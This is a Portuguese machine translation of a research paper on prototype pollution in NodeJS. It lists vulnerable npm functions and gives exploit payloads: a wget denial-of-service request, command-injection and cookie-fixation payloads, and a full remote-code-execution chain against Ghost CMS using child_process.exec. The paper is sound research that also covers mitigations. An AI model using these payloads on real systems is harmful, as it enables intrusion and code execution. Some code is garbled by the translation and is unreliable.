JavaScript - Prototype - Pollution - Attack - in - NodeJS PT
JavaScript - Prototype - Pollution - Attack - in - NodeJS PT
Ataque de poluição de
protótipos no aplicativo
NodeJS
Autor
Olivier Arteau
Tabela de conteúdo do site
Tabela de conteúdo 2
Introdução 4
Aprofundamento em JavaScript 5
O que é um objeto? 5
Acesso à propriedade 6
Propriedade mágica 6
Biblioteca afetada 12
Função de mesclagem 12
hoek 12
lodash 12
fundir 12
defaults-deep 12
mesclar objetos 12
Atribuição profunda 13
fusão profunda 13
mixin-deep 13
extensão profunda 13
opções de mesclagem 13
deap 13
merge-recursive 13
Clone 14
deap 14
Definição de propriedade por caminho 14
lodash 14
pathval 14
ponto-prop 14
caminho do objeto 14
Mitigação 26
Congelamento do protótipo 26
Validação de esquema da entrada JSON 26
Usando Map em vez de Object 26
Object.create(null) 27
Introdução
Poluição de protótipo é um termo que foi criado há muitos anos na comunidade JavaScript
para designar bibliotecas que adicionavam métodos de extensão ao protótipo do objeto
básico, como "Objeto", "Cadeia de caracteres" ou "Função". Isso foi rapidamente
considerado uma prática ruim, pois introduzia um comportamento inesperado no aplicativo.
A última grande biblioteca a usar esse tipo de mecânica foi a biblioteca chamada
"Prototype"1 . Embora a biblioteca ainda exista, em sua maior parte ela é considerada
morta.
1 http://prototypejs.org/
Aprofundamento em JavaScript
Para aqueles que nunca se aprofundaram no funcionamento interno do JavaScript, pode ser
difícil entender completamente o restante deste documento. Portanto, uma breve
apresentação de como o "protótipo" funciona e algumas outras peculiaridades do JavaScript
são necessárias antes de começar.
O que é um objeto ?
Vamos começar com a maneira mais simples de criar um objeto.
Embora não tenhamos declarado nenhuma propriedade para esse objeto, ele não está
vazio. De fato, podemos ver que várias propriedades retornam algo (ex.: obj. proto ,
obj.constructor, obj.toString, etc.). Então, de onde vêm essas propriedades? Para entender
essa parte, precisamos ver como as classes existem na linguagem JavaScript.
O conceito de uma classe em JavaScript começa com uma função. A própria função
funciona como o construtor da classe.
função MyClass() {
Se voltarmos ao nosso primeiro exemplo do objeto vazio, podemos dizer que o objeto vazio
que declaramos é, na verdade, um objeto que tem como construtor a função "Object" e que
as propriedades como "toString" são definidas no protótipo de "Object". A lista completa de
valores que vêm por padrão no objeto pode ser encontrada na documentação do MDN2 .
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype
Propriedade acesso
É bom observar que no JavaScript não há distinção entre uma propriedade e uma função de
instância. Uma função de instância é uma propriedade cujo tipo é uma função. Portanto, a
função de instância e outras propriedades são acessadas exatamente da mesma forma. Há
duas notações para acessar propriedades em JavaScript: a notação de ponto (ex.: obj.a) e
a notação de colchetes (ex.: obj["a"]). A segunda é usada principalmente quando o índice é
dinâmico.
name1 = "a";
obj.a // 1
obj["a"] // 1
obj[name1] // 1
Magic propriedade
Há uma boa quantidade de propriedades que existem por padrão no protótipo do objeto.
Vamos explorar duas delas: "constructor" e " proto" .
"constructor" é uma propriedade mágica que retorna a função usada para criar o objeto. É
bom observar que em cada construtor há a propriedade "prototype" que aponta para o
protótipo da classe.
função MyClass() {
MyClass.prototype.myFunc = function () {
return 7;
}
função MyClass() {
MyClass.prototype.myFunc = function () {
return 7;
}
Geral concept
A ideia geral por trás da poluição de protótipo começa com o fato de que o invasor tem
controle sobre pelo menos o parâmetro "a" e o "valor" de qualquer expressão da seguinte
forma :
obj[a][b] = valor
O invasor pode definir "a" como " proto " e a propriedade com o nome definido por "b" será
definida em todos os objetos existentes (da classe de "obj") do aplicativo com o valor
"value". A mesma coisa pode ser acrescentada da seguinte forma quando o invasor tiver
pelo menos o controle de "a", "b" e "value".
obj[a][b][c] = valor
O invasor pode definir "a" como "constructor", "b" como "prototype" e a propriedade com o
nome definido por "c" será definida em todos os objetos existentes do aplicativo com o valor
"value". Entretanto, como isso requer uma atribuição de objeto mais complexa, é mais fácil
trabalhar com a primeira forma.
Embora seja muito raro encontrar um código que se pareça textualmente com o exemplo
fornecido, algumas manipulações podem proporcionar ao invasor um controle semelhante.
Isso será explorado na próxima seção.
Observação: Se o objeto que você está poluindo não for uma instância de "Object", lembre-
se de que sempre é possível subir na cadeia de protótipos acessando o atributo " proto " do
protótipo (ex.: "inst. proto . proto " aponta para o protótipo de "Object").
Manipulação suscetível ao protótipo pollution
Há três tipos de API que foram identificados neste documento e que podem resultar em
"protótipo"
poluição. Embora nem toda a implementação desses tipos de API disponíveis no NPM3 são
tenha sido afetada, pelo menos uma foi identificada.
Quando o objeto de origem contém uma propriedade chamada " proto " definida com
Object.defineProperty()4 , a condição que verifica se "a propriedade existe e é um objeto
tanto no destino quanto na origem" será aprovada e a mesclagem será recursada com o
destino sendo o protótipo de "Object" e a origem um "Object" definido pelo invasor. As
propriedades serão então copiadas no protótipo de "Object".
Se o invasor puder controlar o valor de "path", ele poderá definir esse valor como " proto
.myValue". "myValue" será então atribuído ao protótipo da classe do objeto.
3 https://www.npmjs.com/
4 A maneira mais comum de isso acontecer é quando a entrada do usuário é analisada com
"JSON.parse".
Objeto clone
A poluição de protótipos pode ocorrer com APIs que clonam objetos quando a API
implementa o clone como mesclagem recursiva em um objeto vazio. Observe que a função
de mesclagem deve ser afetada pelo problema.
function clone(obj) {
return merge({}, obj);
}
Verificação da API vulnerável
Fazer revisões manuais de código em todas as bibliotecas NPM consome muito tempo e é
muito difícil usar a análise de código estático para identificar esse problema nas bibliotecas.
No entanto, como a API vulnerável terá um efeito colateral identificável, uma abordagem
dinâmica foi usada para identificar uma grande quantidade de bibliotecas afetadas. Embora
essa abordagem não identifique todas as bibliotecas afetadas, ela foi capaz de identificar
uma grande quantidade de bibliotecas com o mínimo de codificação e tempo de CPU.
O código para isso é fornecido no repositório do GitHub junto com o PDF deste documento.
Biblioteca afetada
Com a abordagem descrita acima, consegui identificar uma boa quantidade de bibliotecas
que permitiam a poluição de protótipos quando o invasor podia controlar parte da entrada.
Em alguns casos, isso se deve a um bug não intencional e, em outros, é por design. Essa
lista não é exaustiva, mas abrange a biblioteca mais comum usada no aplicativo NodeJS.
Função Merge
piscina
hoek.merge
hoek.applyToDefaults
lodash
lodash.defaultsDeep
lodash.merge
lodash.mergeWith
lodash.set
lodash.setWith
mesclar
merge.recursive
Padrões - deep
defaults-deep
mesclar objetos
mesclar objetos
merge- deep
Fusão profunda
mixin- deep
mixin-deep
Extensão profunda
Extensão profunda
opções de mesclagem
opções de mesclagem
deap
deap.extend
deap.merge
deap
mesclar-recursivo
merge-recursive.recursive
deap
deap.clone
lodash
lodash.set
lodash.setWith
pathval
pathval.setPathValue
pathval
ponto- prop
dot-prop.set
dot-prop
objeto- caminho
object-path.withInheritedProps.ensureExists
object-path.withInheritedProps.set
object-path.withInheritedProps.insert
object-path.withInheritedProps.push
object-path
Ataque à implementação vulnerável do site
Uma das particularidades desse ataque é que a exploração genérica fora do ataque de
negação de serviço depende de como o aplicativo trabalha com seu objeto. Para montar um
ataque mais significativo, precisamos encontrar um uso interessante de objetos no código.
A teoria
Negação de serviço
Uma das partes interessantes do protótipo de "Object" é que ele contém funções genéricas
que são chamadas implicitamente para várias operações (ex.: toString e valueOf). Ao poluir
o protótipo, é possível sobrescrever essas funções com uma "String" ou um "Object". Isso
quebrará quase todos os aplicativos e os impedirá de funcionar corretamente.
Considere o seguinte aplicativo Express. A chamada vulnerável, nesse caso, está localizada
na linha 12. A chamada mescla um valor que vem do corpo em um objeto. Ao executar o
script de exploração, as funções "toString" e "valueOf" são corrompidas e cada solicitação
subsequente retornará um erro 500.
servidor.js
1. var _ = require('lodash');
2. var express = require('express');
3. var app = express();
4. var bodyParser = require('body-parser');
5.
6. app.use(bodyParser.json({ type: 'application/*+json' }))
7. app.get('/', function (req, res) {
8. res.send("Use o método POST!");
9. });
10.
11. app.post('/', function (req, res) {
12. _.merge({}, req.body);
13. res.send(req.body);
14. });
15.
16. app.listen(3000, function () {
17. console.log('Exemplo de aplicativo escutando na porta 3000!')
18. });
exploit.sh
wget --header="Content-Type: application/javascript+json"
--post-data='{" proto " :{"toString": "123", "valueOf": "It works !"}}' http://localhost:3000/ -O-
-q
For-loop pollution
Um dos aspectos interessantes da "poluição de protótipos" é que as propriedades
adicionadas são enumeráveis. Isso significa que todo o loop "for(var key in obj) { ... }" agora
farão um loop extra com "key" sendo o nome da propriedade com a qual poluímos o
"Object". Portanto, uma das abordagens para explorar isso seria procurar um loop que
chame uma API perigosa e poluir o protótipo com valores que acionariam essa API com o
valor de nossa escolha. Observe que o invasor não precisa necessariamente acionar ele
mesmo o loop de destino. Desde que o loop seja alcançado, a exploração será bem-
sucedida.
Suponha que tenhamos o seguinte código em execução no servidor. Quando a carga útil for
enviada, na próxima vez que o loop for executado, o comando de nossa escolha será
executado.
código.js
1. var execSync = require('child_process').execSync;
2.
3. função runJobs() {
4. var comandos = {
5. "script-1" : "/bin/bash /opt/my-script-1.sh",
6. "script-2" : "/bin/bash /opt/my-script-2.sh"
7. };
8.
9. for (var scriptname in commands) {
10. console.log("Executando " + nome do script);
11. execSync(comandos[nome do script]);
12. }
13. }
payload.json
{" proto " :{"my malicious command": "echo yay > /tmp/evil"}}
Propriedade injeção
Outro aspecto interessante da "Poluição de protótipo" é que o atributo que definimos agora
existirá em objetos que não o definiram explicitamente. Um dos lugares em que isso pode
ser muito interessante é nos cabeçalhos HTTP. O módulo "http" do NodeJS suporta vários
cabeçalhos com o mesmo nome. A forma como isso é analisado é que todos os cabeçalhos
com o mesmo nome são concatenados e separados por vírgula. Portanto, se tivermos
poluído, por exemplo, a chave "cookie", o valor de "request.headers.cookie" sempre
começará com o valor que poluímos. Isso pode permitir uma variante poderosa de um
ataque de fixação de sessão em que todos que consultarem o servidor compartilharão a
mesma sessão.
payload.json
{" proto " :{"cookie": "sess=fixedsessionid; garbage="}}
A prática
Prova do conceito
A carga útil completa pode ser encontrada na seção "Carga útil final". Para reproduzir a
exploração, você deve seguir as seguintes etapas:
- Inicie sua instância local do ghost com "ghost start". Isso deve abrir a instância na
porta 2368.
- Copie a carga útil da solicitação HTTP encontrada na seção "Carga útil final" na
janela do repetidor do Burp (ou o equivalente do Zap Proxy).
- Enviar a solicitação.
- Acesse http://127.0.0.1:2368/ com o navegador de sua preferência. O comando
"kcalc" será executado. Se nada for exibido, verifique se o pacote "kcalc" está
instalado, pois não é um pacote padrão OU altere a carga útil para iniciar outro
programa de sua escolha.
Base request
A localização do bug pode ser encontrada nesta nota de correção. Embora a nota de
correção seja muito vaga sobre o problema em questão, ela é a correção feita pelo Ghost
CMS para essa vulnerabilidade.
https://github.com/TryGhost/Ghost/commit/dcb2aa9ad4680c4477d042a9e66f470d8bcbae0f
A solicitação básica que será usada para essa exploração é a seguinte. A propriedade que
será copiada no protótipo do Object estará na declaração do objeto " proto ".
{"passwordreset": [{
"token": "MHx0ZXN0QHRlc3QuY29tfHRlc3RzZXRlc3Q=",
"email": "[email protected]",
"newPassword": "kdsflaksldk930209",
"ne2Password": "kdsflaksldk930209",
"proto": {
}
}]}
Reparando o aplicativo
A injeção de propriedades no protótipo do objeto atrapalha muito a execução normal do
aplicativo. No caso do Ghost CMS, adicionar uma única propriedade faz com que todos os
pontos de extremidade travem ou retornem uma página de erro. Portanto, para montar uma
exploração poderosa, precisamos primeiro descobrir uma maneira de "reparar" o aplicativo.
Para corrigir a falha, há algumas estratégias que podem ser usadas para descobrir a
propriedade certa a ser adicionada.
O erro mais comum que você encontrará é "Cannot read property 'XXXX' of undefined". Isso
ocorre quando o código tenta ler uma propriedade com o valor "undefined". Quando uma
propriedade não existe no JavaScript, undefined é o valor de espaço reservado que será
retornado. Portanto, quando o código executa algo do tipo "obj.doesnotexist.doesnotexist",
ele falha. Um exemplo em que precisei corrigir uma propriedade ausente foi no seguinte
trecho de código. Devido à corrupção, quando a execução chega a esse ponto, o objeto
"result" não tem as propriedades esperadas. Isso provoca uma falha no tempo de execução.
Um dos problemas que surgem ao poluir o protótipo de Object com a propriedade object é
que todos os objetos existentes no tempo de execução agora têm uma profundidade infinita.
Se, por exemplo, poluirmos o protótipo de Object com o seguinte valor :
Object.prototype.foo = {};
Como a propriedade "foo" que acabamos de adicionar também é do tipo Object, ela herdará
a propriedade foo. Isso torna o código a seguir correto.
var a = {};
a.foo.foo.foo.foo.foo.foo.foo.foo ===
a.foo
Isso, no entanto, cria uma recursão infinita quando há um trecho de código que itera
recursivamente no objeto. Para corrigir esse problema, podemos definir o valor com o qual
poluímos da seguinte maneira.
Às vezes, o acidente ocorre em locais que são "sem saída", o que significa que nenhuma
propriedade pode ser adicionada para evitar o acidente. Ao enfrentar esse tipo de situação,
a melhor abordagem a ser adotada é examinar todas as condições que foram adotadas até
o acidente. A ideia é encontrar uma condição em que a propriedade possa ser modificada
para que o caminho sem saída não seja mais utilizado.
Injeção de propriedade para executar o código
Um dos pontos interessantes da maneira como o Ghost CMS funciona é que o modelo a ser
renderizado é carregado de forma preguiçosa. O carregamento lento envolve ter um valor
primeiro indefinido e depois defini-lo quando ele é acessado e indefinido. Isso significa que,
se poluirmos a propriedade "_template", o modelo renderizado será sempre o de nossa
escolha, pois a rotina de carregamento lento acreditará que ele já foi carregado.
Os modelos de guidão do aplicativo Ghost CMS são bastante difíceis de usar para injeção
de propriedades. No entanto, descobriu-se que o pacote "express-hbs" vem com seu caso
de teste. O modelo "emptyComment.hbs" foi o alvo mais fácil de injetar, pois contém apenas
uma invocação parcial.
Propriedade injetada
"_template":
"../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs
"
Propriedade injetada
"program": {
"opcodes": [{
"opcode": "pushLiteral",
"args": ["1"]
}, {
"opcode": "appendEscaped",
"args": ["1"]
}],
"children": [],
"blockParams": "CODE GOES HERE"
}
Carga útil final
Quando juntamos tudo, podemos obter essa carga útil final que exibirá um "kcalc" toda vez
que a página principal for carregada. Uma coisa que é bom mencionar é que, como a
execução do payload JavaScript está em um contexto do tipo eval, a função "require" não
está diretamente acessível. "require" pode, no entanto, ser
acessada por meio de "global.process.mainModule.constructor._load".
{
"passwordreset": [{
"token": "MHx0ZXN0QHRlc3QuY29tfHRlc3RzZXRlc3Q=",
"email": "[email protected]",
"newPassword": "kdsflaksldk930209",
"ne2Password": "kdsflaksldk930209",
"proto": {
"_template":
"../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs
",
"posts": {
"type": "browse"
},
"resource" (recurso):
"constructor", "type":
"constructor",
"program": {
"opcodes": [{
"opcode": "pushLiteral",
"args": ["1"]
}, {
"opcode": "appendEscaped",
"args": ["1"]
}],
"children": [],
"blockParams":
"global.process.mainModule.constructor._load('child_process').exec('kcalc'
,function(){})"
},
"children": [{"opcodes":
["123"],
"children": [],
"blockParams": 1
}],
"options": ";",
"meta": {
"paginação": {
"pages": "100"
}
}
}
}]
}
Nesse exploit, como estamos injetando código JavaScript, também podemos fazer com que
o aplicativo volte ao seu estado original após a execução do payload, excluindo todas as
propriedades que adicionamos ao protótipo do Object. Portanto, podemos substituir o valor
"blockParams" por este.
global.process.mainModule.constructor._load('child_process').exec('kcalc',
function(){})+eval('for (var a in {}) { delete Object.prototype[a]; }')
Essa é uma ideia interessante que recebi de Ian Bouchard enquanto discutia esse exploit
com ele.
Mitigação
Congelamento do protótipo
O padrão ECMAScript versão 5 introduziu um conjunto muito interessante de
funcionalidades na linguagem JavaScript. Ele permitiu a definição de propriedades não
enumeráveis, getter, setter e muito mais. Uma das APIs introduzidas foi "Object.freeze".
Quando essa função é chamada em um objeto, qualquer modificação adicional nesse
objeto falhará silenciosamente. Como o protótipo de "Object" é um objeto, é possível
congelá-lo. Fazer isso atenuará quase todos os casos de exploração.
Observe que, embora a adição de uma função ao protótipo do objeto base seja uma
prática desaprovada, ela ainda pode ser usada em seu aplicativo NodeJS ou em sua
dependência. É altamente recomendável verificar se há esse tipo de uso em seu aplicativo
NodeJS e na dependência dele antes de seguir esse caminho. Como o comportamento do
objeto congelado é falhar silenciosamente na atribuição de propriedades, pode ser difícil
identificar o bug.
mitigação.js
1. Object.freeze(Object.prototype);
2. Object.freeze(Object);
3. ({}) __proto . test = 123
4. ({}).test // isso será indefinido
5 https://epoberezkin.github.io/ajv/
6 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map
Object.create(null)
É possível criar um objeto em JavaScript que não tenha nenhum protótipo. Isso requer
o uso da função "Object.create". O objeto criado por meio dessa API não terá o
protótipo
atributos " proto" e "constructor". A criação de objetos dessa forma pode ajudar a mitigar o
ataque de poluição de protótipos.